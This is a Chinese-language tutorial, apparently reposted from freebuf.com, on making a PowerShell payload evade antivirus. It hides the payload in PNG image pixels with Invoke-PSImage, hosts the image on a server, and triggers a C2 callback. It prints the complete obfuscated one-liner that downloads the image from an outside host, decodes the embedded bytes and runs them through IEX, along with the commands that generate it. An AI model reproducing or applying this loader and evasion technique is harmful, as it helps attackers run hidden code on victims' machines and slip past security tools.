powershell的payload免杀
一、首先创建一个监听器
二、生成一个ps的payload
查看一下生成的
三、Ps的payload嵌入图片并且生成一段执行免杀代码
1.介绍
将生成的ps代码集成到一个图片中,图片尽量像素大一点,我们需要用到invoke-psimage脚本,原理是将脚本中的字节数据存储到图片中,而图片的每一个像素都会存一个字节,所以图片像素尽量大一点。
Invoker-psimage
Invokerpsimage会将一个powershell脚本以字节方式嵌入到png图片的像素中,并生成一行执行命令来帮助我们从文件或web执行它们。它会利用图片中每个像素点最后4位有效位的2个颜色值来存储
payload数据,图片质量会稍微有些影响,但基本着不出来什么区别。图片需要为png格式,因为payload数据存储在颜色值中,所以这种格式尚政进行尤损压缩直不会影响payload执行。它可以接受大多数图片类型作为输入,但输出必须为png格式,因为输出图像数据需要是无损的。
https://github.com/peewpw/Invoke-PSImage
注意:图片大小一定是:1920×1111(我这个只是参考,大于这个更好)
建议用ps软件去改大小,wps需要开会员,这就qt的吧
需要用github上的脚本进行生成
-script:指定刚才下载的脚本
-image: 指定图片
-out:输出的位置
-web:需要执行的命令
2.将payload嵌入图片
首先在当前目录下打开cmd绕过策略:
进行嵌入
A、首先导入脚本
Import-Module .\Invoke-PSImage.ps1
B、其次在进行生成命令
Invoke-PSImage -Script .\payload.ps1 -Image .\chaosec.jpg -Out test2.png -Web
C、生成的命令:(不过这里需要修改url的地址)
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(“http://192.168.0.177:80/chaosec/test2.png“));$o=a Byte[] 3992;(0..7)|%{foreach($x in(0..498)){$p=$g.GetPixel($x,$_);$o[$_*499+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))
红框中的url需要修改
查看生成的图片
四、通过host file进行上传到服务器端
文件选择刚才生成的test2.png文件
文件选择刚才生成的test2.png文件
将这个生成的链接放到刚才生成需要修改的url中
在服务器端查看上传的文件
发现上传成功
五、执行命令使其上线
来源:freebuf.com 2021-03-21 21:01:00 by: 抽华子的灰鹿
请登录后发表评论
注册